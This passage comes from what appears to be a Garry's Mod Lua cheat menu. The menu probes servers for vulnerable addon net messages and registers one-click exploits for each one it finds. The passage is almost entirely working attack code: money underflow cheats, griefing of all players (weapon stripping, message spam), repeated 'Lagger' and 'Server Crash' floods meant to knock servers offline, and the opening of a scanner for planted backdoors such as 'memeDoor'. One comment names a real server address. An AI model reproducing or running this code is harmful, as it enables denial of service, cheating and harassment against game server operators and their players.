8219CHATPRINT("Exploit Trouvé : Scanner Exploit [ScannerMenu]")
8220addExploit( "248","Scanner Exploit", "", function()
8221surface.PlaySound("garrysmod/ui_click.wav")
8222NOTIFICATION("Starting")
8223for k,v in pairs(player.GetAll()) do
8224net.Start("ScannerMenu")
8225net.WriteEntity(v)
8226net.WriteFloat(1)
8227net.WriteFloat(1)
8228net.SendToServer()
8229end
8230end )
8231end
8232
8233status = ValidNetString("ORG_NewOrg")
8234if (status) then
8235CHATPRINT("Exploit Trouvé : New ORG [ORG_NewOrg]")
8236addExploit( "249","New ORG", "", function()
8237surface.PlaySound("garrysmod/ui_click.wav")
8238NOTIFICATION("Starting")
8239net.Start("ORG_NewOrg")
8240net.WriteString("I FUCKING HATE YOU!")
8241net.SendToServer()
8242end )
8243end
8244
8245status = ValidNetString("ORG_VaultDonate")
8246if (status) then
8247CHATPRINT("Exploit Trouvé : Argent Gratuite #27 [ORG_VaultDonate]")
8248addExploit( "250","Argent Gratuite #27", "", function()
8249surface.PlaySound("garrysmod/ui_click.wav")
8250NOTIFICATION("Starting")
8251net.Start("ORG_VaultDonate")
8252net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
8253net.SendToServer()
8254end )
8255end
8256
8257status = ValidNetString("Selldatride")
8258if (status) then
8259CHATPRINT("Exploit Trouvé : Sell Datride [Selldatride]")
8260addExploit( "251","Sell Datride", "", function()
8261surface.PlaySound("garrysmod/ui_click.wav")
8262NOTIFICATION("Starting")
8263for k,v in pairs(player.GetAll()) do
8264net.Start("Selldatride")
8265net.WriteEntity(v)
8266net.SendToServer()
8267end
8268end )
8269end
8270
8271status = ValidNetString("passmayorexam")
8272if (status) then
8273CHATPRINT("Exploit Trouvé : Passexam Exploit [passmayorexam]")
8274addExploit( "252","Passexam Exploit", "", function()
8275surface.PlaySound("garrysmod/ui_click.wav")
8276NOTIFICATION("Starting")
8277net.Start("passmayorexam")
8278net.SendToServer()
8279end )
8280end
8281
8282status = ValidNetString("levelup_useperk")
8283if (status) then
8284CHATPRINT("Exploit Trouvé : LevelUp Exploit [levelup_useperk]")
8285addExploit( "253","LevelUp Exploit", "", function()
8286surface.PlaySound("garrysmod/ui_click.wav")
8287NOTIFICATION("Starting")
8288net.Start("levelup_useperk")
8289net.WriteInt(1, 8)
8290net.WriteInt(2, 8)
8291net.WriteInt(3, 8)
8292net.WriteInt(4, 8)
8293net.SendToServer()
8294end )
8295end
8296
8297status = ValidNetString("ZED_SpawnCar")
8298if (status) then
8299CHATPRINT("Exploit Trouvé : ZED Spawn Car [ZED_SpawnCar]")
8300addExploit( "254","ZED Spawn Car", "", function()
8301surface.PlaySound("garrysmod/ui_click.wav")
8302NOTIFICATION("Starting")
8303net.Start("ZED_SpawnCar")
8304net.WriteFloat(1)
8305net.SendToServer()
8306end )
8307end
8308
8309status = ValidNetString("DeployMask") -- 37.230.228.248:27016
8310if (status) then
8311CHATPRINT("Exploit Trouvé : To wear a gas mask at all players [DeployMask]")
8312addExploit( "255","To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
8313surface.PlaySound("garrysmod/ui_click.wav")
8314NOTIFICATION("Starting")
8315for k,v in pairs(ents.GetAll()) do
8316net.Start("DeployMask")
8317net.WriteEntity(v)
8318net.SendToServer()
8319end
8320end )
8321end
8322
8323status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
8324if (status) then
8325CHATPRINT("Exploit Trouvé : Remove the gas mask from all players [RemoveMask]")
8326addExploit( "256","Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
8327surface.PlaySound("garrysmod/ui_click.wav")
8328NOTIFICATION("Starting")
8329for k,v in pairs(ents.GetAll()) do
8330net.Start("RemoveMask")
8331net.WriteEntity(v)
8332net.SendToServer()
8333end
8334end )
8335end
8336
8337status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
8338if (status) then
8339CHATPRINT("Exploit Trouvé : Change all filters of a gas mask [SwapFilter]")
8340addExploit( "257","Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
8341surface.PlaySound("garrysmod/ui_click.wav")
8342NOTIFICATION("Starting")
8343for k,v in pairs(ents.GetAll()) do
8344net.Start("SwapFilter")
8345net.WriteEntity(v)
8346net.SendToServer()
8347end
8348end )
8349end
8350
8351status = ValidNetString("WipeMask") -- 37.230.228.248:27016
8352if (status) then
8353CHATPRINT("Exploit Trouvé : Wipe gas masks [WipeMask]")
8354addExploit( "258","Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
8355surface.PlaySound("garrysmod/ui_click.wav")
8356NOTIFICATION("Starting")
8357for k,v in pairs(ents.GetAll()) do
8358net.Start("WipeMask")
8359net.WriteEntity(v)
8360net.SendToServer()
8361end
8362end )
8363end
8364
8365status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
8366if (status) then
8367CHATPRINT("Exploit Trouvé : Use Medkit [UseMedkit]")
8368addExploit( "259","Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
8369surface.PlaySound("garrysmod/ui_click.wav")
8370NOTIFICATION("Starting")
8371for k,v in pairs(ents.GetAll()) do
8372net.Start("UseMedkit")
8373net.WriteEntity(v)
8374net.SendToServer()
8375end
8376end )
8377end
8378
8379status = ValidNetString("IDInv_RequestBank")
8380if (status) then
8381CHATPRINT("Exploit Trouvé : Lagger #23 [IDInv_RequestBank]")
8382addExploit( "260","Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
8383surface.PlaySound("garrysmod/ui_click.wav")
8384NOTIFICATION("Starting")
8385if !timer.Exists("lagger23") then
8386timer.Create("lagger23", 0, 0, function()
8387for i = 1, 1000 do
8388net.Start("IDInv_RequestBank",true)
8389net.SendToServer()
8390end
8391end )
8392end
8393end )
8394end
8395
8396status = ValidNetString("casinokit_chipexchange")
8397if (status) then
8398CHATPRINT("Exploit Trouvé : Lagger #24 [casinokit_chipexchange]")
8399addExploit( "261","Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
8400surface.PlaySound("garrysmod/ui_click.wav")
8401NOTIFICATION("Starting")
8402if !timer.Exists("lagger24") then
8403timer.Create("lagger24", 0, 0, function()
8404for i = 1, 1000 do
8405net.Start("casinokit_chipexchange",true)
8406net.WriteEntity(LocalPlayer())
8407net.WriteString("darkrp")
8408net.WriteBool(false)
8409net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
8410net.SendToServer()
8411end
8412end )
8413end
8414end )
8415end
8416
8417status = ValidNetString("RemoveTag")
8418if (status) then
8419CHATPRINT("Exploit Trouvé : 1tap server [RemoveTag]")
8420addExploit( "262","1tap server", "discovered by Leith", function()
8421surface.PlaySound("garrysmod/ui_click.wav")
8422NOTIFICATION("Starting")
8423timer.Create("1tap", 0.5, 0, function()
8424for i=1, 4000 do
8425net.Start("RemoveTag")
8426net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
8427net.SendToServer()
8428end
8429end )
8430end )
8431end
8432
8433status = ValidNetString("desktopPrinter_Withdraw")
8434if (status) then
8435CHATPRINT("Exploit Trouvé : Lagger #25 [desktopPrinter_Withdraw]")
8436addExploit( "263","Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
8437surface.PlaySound("garrysmod/ui_click.wav")
8438NOTIFICATION("Starting")
8439if !timer.Exists("lagger25") then
8440timer.Create("lagger25", 0, 0, function()
8441for i = 1, 1000 do
8442net.Start("desktopPrinter_Withdraw",true)
8443net.WriteEntity(LocalPlayer())
8444net.SendToServer()
8445end
8446end )
8447end
8448end )
8449end
8450
8451status = ValidNetString("sphys_dupe")
8452if (status) then
8453CHATPRINT("Exploit Trouvé : Lagger #26 [sphys_dupe]")
8454addExploit( "264","Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
8455surface.PlaySound("garrysmod/ui_click.wav")
8456NOTIFICATION("Starting")
8457timer.Create("lagger26", 0.2, 0, function()
8458for i=1,2200 do
8459net.Start("sphys_dupe",true)
8460net.SendToServer()
8461end
8462end )
8463end )
8464end
8465
8466status = ValidNetString("simfphys_gasspill")
8467if (status) then
8468CHATPRINT("Exploit Trouvé : Poop on players [simfphys_gasspill]")
8469addExploit( "265","Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
8470surface.PlaySound("garrysmod/ui_click.wav")
8471NOTIFICATION("Starting")
8472timer.Create("poop", 0.1, 0, function()
8473for k,v in pairs(player.GetAll()) do
8474for j=1,3 do
8475if IsValid(v) then
8476net.Start("simfphys_gasspill")
8477net.WriteVector(v:GetPos()+Vector(0,0,90))
8478net.WriteVector(v:EyePos())
8479net.SendToServer()
8480end
8481end
8482end
8483end )
8484end )
8485end
8486
8487status = ValidNetString("dronesrewrite_controldr")
8488if (status) then
8489CHATPRINT("Exploit Trouvé : Lagger #27 [dronesrewrite_controldr]")
8490addExploit( "266","Lagger #27", "discovered by Solly", function()
8491surface.PlaySound("garrysmod/ui_click.wav")
8492NOTIFICATION("Starting")
8493timer.Create("lagger27", 0.2, 0, function()
8494for i=1,2200 do
8495net.Start("dronesrewrite_controldr",true)
8496net.SendToServer()
8497end
8498end )
8499end )
8500end
8501
8502
8503status = ValidNetString("SCP-294Sv")
8504if (status) then
8505CHATPRINT("Exploit Trouvé : SCP-294 Exploit [SCP-294Sv]")
8506addExploit( "267","SCP-294 Exploit", "discovered by questionmark", function()
8507surface.PlaySound("garrysmod/ui_click.wav")
8508NOTIFICATION("Starting")
8509for k,v in pairs(ents.GetAll()) do
8510net.Start("SCP-294Sv")
8511net.WriteString("acid")
8512net.WriteEntity(v)
8513net.SendToServer()
8514end
8515end )
8516end
8517
8518status = ValidNetString("phone")
8519if (status) then
8520CHATPRINT("Exploit Trouvé : Call all players [phone]")
8521addExploit( "269","Call all players", "discovered by questionmark", function()
8522surface.PlaySound("garrysmod/ui_click.wav")
8523NOTIFICATION("Starting")
8524for k, v in pairs(player.GetAll()) do
8525net.Start("phone")
8526net.WriteTable{
8527ply=v,
8528act='call'
8529}
8530net.SendToServer()
8531end
8532end )
8533end
8534
8535status = ValidNetString("blueatm")
8536if (status) then
8537CHATPRINT("Exploit Trouvé : Lagger #29 [blueatm]")
8538addExploit( "270","Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
8539surface.PlaySound("garrysmod/ui_click.wav")
8540NOTIFICATION("Starting")
8541timer.Create("lagger29", 0, 0, function()
8542for i = 1, 1000 do
8543net.Start("blueatm",true)
8544net.WriteEntity(LocalPlayer())
8545net.SendToServer()
8546end
8547end )
8548end )
8549end
8550
8551status = ValidNetString("cab_cd_testdrive")
8552if (status) then
8553CHATPRINT("Exploit Trouvé : Stavox Teleport [cab_cd_testdrive]")
8554addExploit( "271","Stavox Teleport", "discovered by Aromatic", function()
8555surface.PlaySound("garrysmod/ui_click.wav")
8556NOTIFICATION("Starting")
8557net.Start('cab_cd_testdrive')
8558net.WriteUInt(0, 3)
8559net.WriteUInt(5, 8)
8560net.SendToServer()
8561end )
8562end
8563
8564status = ValidNetString("cab_sendmessage")
8565if (status) then
8566CHATPRINT("Exploit Trouvé : Stavox Message [cab_sendmessage]")
8567addExploit( "272","Stavox Message", "discovered by Aromatic", function()
8568surface.PlaySound("garrysmod/ui_click.wav")
8569NOTIFICATION("Starting")
8570for k, v in pairs(player.GetAll()) do
8571net.Start("cab_sendmessage")
8572net.WriteEntity(v)
8573net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
8574net.SendToServer()
8575end
8576end )
8577end
8578
8579status = ValidNetString("disguise")
8580if (status) then
8581CHATPRINT("Exploit Trouvé : Lagger #30 [disguise]")
8582addExploit( "273","Lagger #30", "discovered by Aromatic & Leith", function()
8583surface.PlaySound("garrysmod/ui_click.wav")
8584timer.Create("lagger30", 0, 0, function()
8585for i = 1, 1000 do
8586net.Start("disguise",true)
8587net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
8588net.SendToServer()
8589end
8590end )
8591end )
8592end
8593
8594status = ValidNetString("FARMINGMOD_DROPITEM")
8595if (status) then
8596CHATPRINT("Exploit Trouvé : Lagger #31 [FARMINGMOD_DROPITEM]")
8597addExploit( "274","Lagger #31", "discovered by Leith", function()
8598surface.PlaySound("garrysmod/ui_click.wav")
8599timer.Create("lagger31", 0, 0, function()
8600for i = 1, 1000 do
8601net.Start("FARMINGMOD_DROPITEM",true)
8602net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
8603net.SendToServer()
8604end
8605end )
8606end )
8607end
8608
8609status = ValidNetString("SlotsRemoved")
8610if (status) then
8611CHATPRINT("Exploit Trouvé : Lagger #32 [SlotsRemoved]")
8612addExploit( "275","Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
8613surface.PlaySound("garrysmod/ui_click.wav")
8614timer.Create("lagger32", 0, 0, function()
8615for i = 1, 1000 do
8616net.Start("SlotsRemoved",true)
8617net.SendToServer()
8618end
8619end )
8620end )
8621end
8622
8623status = ValidNetString("AirDrops_StartPlacement")
8624if (status) then
8625CHATPRINT("Exploit Trouvé : Lagger #33 [AirDrops_StartPlacement]")
8626addExploit( "276","Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
8627surface.PlaySound("garrysmod/ui_click.wav")
8628timer.Create("lagger33", 0, 0, function()
8629for i = 1, 1000 do
8630net.Start("AirDrops_StartPlacement",true)
8631net.SendToServer()
8632end
8633end )
8634end )
8635end
8636
8637status = ValidNetString("IGS.GetPaymentURL")
8638if (status) then
8639CHATPRINT("Exploit Trouvé : Lagger #35 [IGS.GetPaymentURL]")
8640addExploit( "278","Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
8641surface.PlaySound("garrysmod/ui_click.wav")
8642timer.Create("lagger35", 0, 0, function()
8643for i = 1, 1000 do
8644net.Start("IGS.GetPaymentURL",true)
8645net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
8646net.SendToServer()
8647end
8648end )
8649end )
8650end
8651
8652status = ValidNetString("fg_printer_money")
8653if (status) then
8654CHATPRINT("Exploit Trouvé : Lagger #36 [fg_printer_money]")
8655addExploit( "279","Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
8656surface.PlaySound("garrysmod/ui_click.wav")
8657timer.Create("lagger36", 0, 0, function()
8658for i = 1, 1000 do
8659net.Start('fg_printer_money',true)
8660net.WriteEntity(LocalPlayer())
8661net.SendToServer()
8662end
8663end )
8664end )
8665end
8666
8667status = ValidNetString("tickbookpayfine")
8668if (status) then
8669CHATPRINT("Exploit Trouvé : Lagger #37 [tickbookpayfine]")
8670addExploit( "280","Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
8671surface.PlaySound("garrysmod/ui_click.wav")
8672timer.Create("lagger37", 0, 0, function()
8673for i = 1, 1000 do
8674net.Start("tickbookpayfine",true)
8675net.SendToServer()
8676end
8677end )
8678end )
8679end
8680
8681status = ValidNetString("BeginSpin")
8682if (status) then
8683CHATPRINT("Exploit Trouvé : Lagger #38 [BeginSpin]")
8684addExploit( "281","Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
8685surface.PlaySound("garrysmod/ui_click.wav")
8686timer.Create("lagger38", 0, 0, function()
8687for i = 1, 1000 do
8688net.Start("BeginSpin",true)
8689net.SendToServer()
8690end
8691end )
8692end )
8693end
8694
8695status = ValidNetString("DuelRequestClient")
8696if (status) then
8697CHATPRINT("Exploit Trouvé : Lagger #39 [DuelRequestClient]")
8698addExploit( "282","Lagger #39", "discovered by Leith", function()
8699surface.PlaySound("garrysmod/ui_click.wav")
8700timer.Create("lagger39", 0, 0, function()
8701for i = 1, 1000 do
8702net.Start("DuelRequestClient",true)
8703net.SendToServer()
8704end
8705end )
8706end )
8707end
8708
8709status = ValidNetString("ncpstoredoact")
8710if (status) then
8711CHATPRINT("Exploit Trouvé : Lagger #40 [ncpstoredoact]")
8712addExploit( "283","Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
8713surface.PlaySound("garrysmod/ui_click.wav")
8714timer.Create("lagger40", 0, 0, function()
8715for i = 1, 1000 do
8716net.Start("ncpstoredoact",true)
8717net.SendToServer()
8718end
8719end )
8720end )
8721end
8722
8723status = ValidNetString("PermwepsNPCSellWeapon")
8724if (status) then
8725CHATPRINT("Exploit Trouvé : Lagger #41 [PermwepsNPCSellWeapon]")
8726addExploit( "284","Lagger #41", "discovered by Leith", function()
8727surface.PlaySound("garrysmod/ui_click.wav")
8728timer.Create("lagger41", 0, 0, function()
8729for i = 1, 2000 do
8730net.Start("PermwepsNPCSellWeapon",true)
8731net.WriteString("")
8732net.SendToServer()
8733end
8734end )
8735end )
8736end
8737
8738status = ValidNetString("bitcoins_request_withdraw")
8739if (status) then
8740CHATPRINT("Exploit Trouvé : Lagger #42 [bitcoins_request_withdraw]")
8741addExploit( "285","Lagger #42", "discovered by Leith", function()
8742surface.PlaySound("garrysmod/ui_click.wav")
8743timer.Create("lagger42", 0, 0, function()
8744for i = 1, 2000 do
8745net.Start("bitcoins_request_withdraw",true)
8746net.SendToServer()
8747end
8748end )
8749end )
8750end
8751
8752status = ValidNetString("bitcoins_request_turn_on")
8753if (status) then
8754CHATPRINT("Exploit Trouvé : To include all bitcoin miners [bitcoins_request_turn_on]")
8755addExploit( "286","To include all bitcoin miners", "discovered by Leith", function()
8756surface.PlaySound("garrysmod/ui_click.wav")
8757NOTIFICATION("Starting")
8758for k, v in pairs(ents.GetAll()) do
8759if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8760net.Start("bitcoins_request_turn_on")
8761net.WriteEntity(v)
8762net.SendToServer()
8763end
8764end
8765end)
8766end
8767
8768status = ValidNetString("bitcoins_request_turn_off")
8769if (status) then
8770CHATPRINT("Exploit Trouvé : Disable all bitcoin miners [bitcoins_request_turn_off]")
8771addExploit( "287","Disable all bitcoin miners", "discovered by Leith", function()
8772surface.PlaySound("garrysmod/ui_click.wav")
8773NOTIFICATION("Starting")
8774for k, v in pairs(ents.GetAll()) do
8775if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8776net.Start("bitcoins_request_turn_off")
8777net.WriteEntity(v)
8778net.SendToServer()
8779end
8780end
8781end)
8782end
8783
8784status = ValidNetString("NET_AM_MakePotion")
8785if (status) then
8786CHATPRINT("Exploit Trouvé : Lagger #43 [NET_AM_MakePotion]")
8787addExploit( "288","Lagger #43", "discovered by Leith", function()
8788surface.PlaySound("garrysmod/ui_click.wav")
8789NOTIFICATION("Starting")
8790timer.Create("lagger43", 0, 0, function()
8791for i = 1, 2000 do
8792net.Start('NET_AM_MakePotion',true)
8793net.WriteEntity(LocalPlayer())
8794net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
8795net.SendToServer()
8796end
8797end )
8798end )
8799end
8800
8801status = ValidNetString("minigun_drones_switch")
8802if (status) then
8803CHATPRINT("Exploit Trouvé : Lagger #44 [minigun_drones_switch]")
8804addExploit( "289","Lagger #44", "discovered by Solly", function()
8805surface.PlaySound("garrysmod/ui_click.wav")
8806NOTIFICATION("Starting")
8807timer.Create("lagger44", 0.2, 0, function()
8808for i=1,2200 do
8809net.Start("minigun_drones_switch",true)
8810net.SendToServer()
8811end
8812end )
8813end )
8814end
8815
8816status = ValidNetString("CW20_PRESET_LOAD")
8817if (status) then
8818CHATPRINT("Exploit Trouvé : Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
8819addExploit( "290","Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
8820surface.PlaySound("garrysmod/ui_click.wav")
8821NOTIFICATION("Starting")
8822timer.Create("lagger45", 0.2, 0, function()
8823if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
8824for i=1,2200 do
8825net.Start("CW20_PRESET_LOAD",true)
8826net.SendToServer()
8827end
8828end
8829end )
8830end )
8831end
8832
8833status = ValidNetString("SBP_addtime")
8834if (status) then
8835CHATPRINT("Exploit Trouvé : Lagger #46 [SBP_addtime]")
8836addExploit( "291","Lagger #46", "discovered by Solly", function()
8837surface.PlaySound("garrysmod/ui_click.wav")
8838NOTIFICATION("Starting")
8839timer.Create("lagger46", 0.3, 0, function()
8840for i=1,2200 do
8841net.Start("SBP_addtime",true)
8842net.SendToServer()
8843end
8844end )
8845end )
8846end
8847
8848status = ValidNetString("NetData")
8849if (status) then
8850CHATPRINT("Exploit Trouvé : Outfit player nouser [NetData]")
8851addExploit( "292","Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
8852surface.PlaySound("garrysmod/ui_click.wav")
8853NOTIFICATION("Starting")
8854for k, v in pairs(player.GetAll()) do
8855net.Start("NetData")
8856net.WriteString("OF")
8857net.WriteUInt(4,8)
8858net.WriteData(math.random(100000,9999999)..",sis.mdl",30)
8859net.SendToServer()
8860end
8861end )
8862end
8863
8864status = ValidNetString("SBP_addtime")
8865if (status) then
8866CHATPRINT("Exploit Trouvé : XP Booster [SBP_addtime]")
8867addExploit( "293","XP Booster", "discovered by Solly", function()
8868inputFrameExists = true
8869inputFrame = vgui.Create( "DFrame" )
8870inputFrame:SetTitle("Enter the number")
8871inputFrame:SetSize( 400, 75 )
8872inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8873inputFrame:SetDraggable(false)
8874inputFrame:ShowCloseButton(true)
8875inputFrame:MakePopup()
8876inputFrame.Paint = function( self, w, h )
8877draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8878end
8879local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8880TextEntry:SetSize( 380, 30 )
8881TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8882TextEntry:SetText( "100" )
8883TextEntry.OnEnter = function( self )
8884surface.PlaySound("garrysmod/ui_click.wav")
8885timer.Create("ofn", 0.2, 0, function()
8886for i=1,tonumber(self:GetText()) do
8887net.Start("SBP_addtime")
8888net.SendToServer()
8889end
8890inputFrame:SetVisible(false)
8891end )
8892end
8893end )
8894end
8895
8896 status = ValidNetString("StackGhost")
8897
8898 if (status) then
8899 CHATPRINT("Exploit Trouvé : Booter 24000 #1")
8900
8901 addExploit("294", "Booter 24000 #1", "Devient aussi puissant que freezer et adrien", function()
8902 surface.PlaySound("garrysmod/ui_click.wav")
8903 NOTIFICATION("Starting")
8904
8905 if !(timer.Exists("Booteur24000")) then
8906 timer.Create("Booteur24000", 0.02, 0, function()
8907 for i = 1, 2000 do
8908 net.Start("StackGhost", true)
8909 net.WriteInt(69, 32)
8910 net.SendToServer()
8911 end
8912 end)
8913 else
8914 timer.Stop("Booteur2400011")
8915 end
8916end)
8917end
8918
8919 status = ValidNetString("pac_submit")
8920
8921 if (status) then
8922 CHATPRINT("Exploit Trouvé: Booter 24000 #2")
8923
8924 addExploit("295", "Booter 24000 #2", "Devient aussi puissant que freezer et adrien", function()
8925 surface.PlaySound("garrysmod/ui_click.wav")
8926 NOTIFICATION("Starting")
8927
8928 -----------------------------------
8929 timer.Create("Booteur240002", 0.02, 0, function()
8930 for i = 1, 1000 do
8931 Disco.NetStart("pac_submit")
8932 net.SendToServer()
8933 end
8934 end)
8935 end)
8936 ----------------------------------
8937 end
8938
8939 status = ValidNetString("RequestMAPSize")
8940
8941 if (status) then
8942 CHATPRINT("Exploit Trouvé : 1tap server [MapSize]")
8943
8944 addExploit("296", "1tap server [MapSize]", "-1 server", function()
8945 surface.PlaySound("garrysmod/ui_click.wav")
8946 NOTIFICATION("Starting")
8947
8948 -----------------------------------
8949 timer.Create("lagger10", 0, 0, function()
8950 for i = 1, 400 do
8951 net.Start("RequestMAPSize")
8952 net.SendToServer()
8953 end
8954 end)
8955 end)
8956 ----------------------------------
8957 end
8958
8959 status = ValidNetString("properties")
8960
8961 if (status) then
8962 CHATPRINT("Exploit Trouvé : El Famoso Exploit Strip")
8963
8964 addExploit("297", "El Famoso Exploit Strip", "-weapon", function()
8965 surface.PlaySound("garrysmod/ui_click.wav")
8966 NOTIFICATION("Starting")
8967
8968 -----------------------------------
8969 for k, v in pairs(player.GetAll()) do
8970 if v:IsPlayer() then
8971 for k, v in pairs(v:GetWeapons()) do
8972 net.Start("properties")
8973 net.WriteString("remove", 32)
8974 net.WriteEntity(v)
8975 net.SendToServer()
8976 end
8977 end
8978 end
8979 end)
8980 ----------------------------------
8981 end
8982
8983 status = ValidNetString("start_wd_emp")
8984
8985 if (status) then
8986 CHATPRINT("Exploit Trouvé : Hack Keypad")
8987
8988 addExploit("298", "HackKeypad", "Hack Keypad", function()
8989 surface.PlaySound("garrysmod/ui_click.wav")
8990 NOTIFICATION("Starting")
8991 -----------------------------------
8992 net.Start('start_wd_emp')
8993 net.SendToServer()
8994 end)
8995 ----------------------------------
8996 end
8997
8998 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
8999
9000 if (status) then
9001 CHATPRINT("Exploit Trouvé : Server Crash")
9002
9003 addExploit("299", "Server Crash", " ", function()
9004 surface.PlaySound("garrysmod/ui_click.wav")
9005 NOTIFICATION("Starting")
9006
9007 -----------------------------------
9008 timer.Create("crasher2", 0, 0, function()
9009 for i = 1, 400 do
9010 net.Start("pac.net.TouchFlexes.ClientNotify")
9011 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
9012 net.SendToServer()
9013 end
9014 end)
9015 end)
9016 ----------------------------------
9017 end
9018
9019 status = ValidNetString("ItemStoreDrop")
9020
9021 if (status) then
9022 CHATPRINT("Exploit Trouvé : Item booter24000")
9023
9024 addExploit("300", "Item Booter24000", "Un item aussi fort qu'adrien et freezer", function()
9025 surface.PlaySound("garrysmod/ui_click.wav")
9026 NOTIFICATION("Starting")
9027
9028 -----------------------------------
9029 timer.Create("booteur24000items", 0, 0, function()
9030 for i = 1, 1000 do
9031 net.Start("ItemStoreDrop")
9032 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
9033 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
9034 net.SendToServer()
9035 end
9036 end)
9037 end)
9038 ----------------------------------
9039 end
9040
9041 status = ValidNetString("TFA_Attachment_RequestAll")
9042
9043 if (status) then
9044 CHATPRINT("Exploit Trouvé : TFA LAGGER")
9045
9046 addExploit("301", "TFA LAGGER", "Oublie pas de porter du TFA", function()
9047 surface.PlaySound("garrysmod/ui_click.wav")
9048 NOTIFICATION("Starting")
9049
9050 -----------------------------------
9051 timer.Create("lagger20", 0.02, 0, function()
9052 for i = 1, 4400 do
9053 net.Start("TFA_Attachment_RequestAll", true)
9054 net.SendToServer()
9055 end
9056 end)
9057 end)
9058 ----------------------------------
9059 end
9060
9061 status = ValidNetString("ts_buytitle")
9062
9063 if (status) then
9064 CHATPRINT("Exploit Trouvé : Lagger #47 [ts_buytitle]")
9065
9066 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
9067 surface.PlaySound("garrysmod/ui_click.wav")
9068 NOTIFICATION("Starting")
9069
9070 timer.Create("lagger47", 0, 0, function()
9071 for i = 1, 1000 do
9072 net.Start("ts_buytitle", true)
9073 net.WriteTable({})
9074 net.WriteTable({})
9075 net.WriteTable({})
9076 net.SendToServer()
9077 end
9078 end)
9079 end)
9080 end
9081
9082
9083status = ValidNetString("EnterpriseWithdraw")
9084if (status) then
9085CHATPRINT("Exploit Trouvé : ENTERPRISE FOUND! [EnterpriseWithdraw]")
9086addExploit( "1337","ENTERPRISE FOUND!", "discovered by Leith", function()
9087surface.PlaySound("garrysmod/ui_click.wav")
9088NOTIFICATION("Starting")
9089net.Start("EnterpriseWithdraw")
9090net.WriteInt(100, 32)
9091net.SendToServer()
9092end )
9093end
9094
9095status = ValidNetString("SetPermaKnife")
9096if (status) then
9097CHATPRINT("Exploit Trouvé : PERMA KNIFE FOUND [SetPermaKnife]")
9098addExploit( "1337","PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
9099surface.PlaySound("garrysmod/ui_click.wav")
9100/*
9101function cockSucker(ply,cmd,args,argStr)
9102local ply = LocalPlayer()
9103
9104net.Start( "SetPermaKnife" )
9105 net.WriteString( string.TrimRight(argStr,".lua") )
9106net.SendToServer()
9107end
9108
9109concommand.Add("gibe_weapon",cockSucker)
9110*/
9111end )
9112end
9113
9114
9115
9116
9117
9118
9119
9120
9121
9122
9123
9124/*================================
9125|===== 88Triggering BACKDOOR =====|
9126=================================*/
9127
9128local backdoorScrollPanel = vgui.Create( "DScrollPanel", netcmd )
9129backdoorScrollPanel:Dock( FILL )
9130
9131local triggeringbd = "";
9132
9133function triggeringnetcall( str )
9134 local status, error = pcall( net.Start, str )
9135 return status
9136end
9137
9138 if( triggeringnetcall("memeDoor") ) then
9139 triggeringbd = "memeDoor"
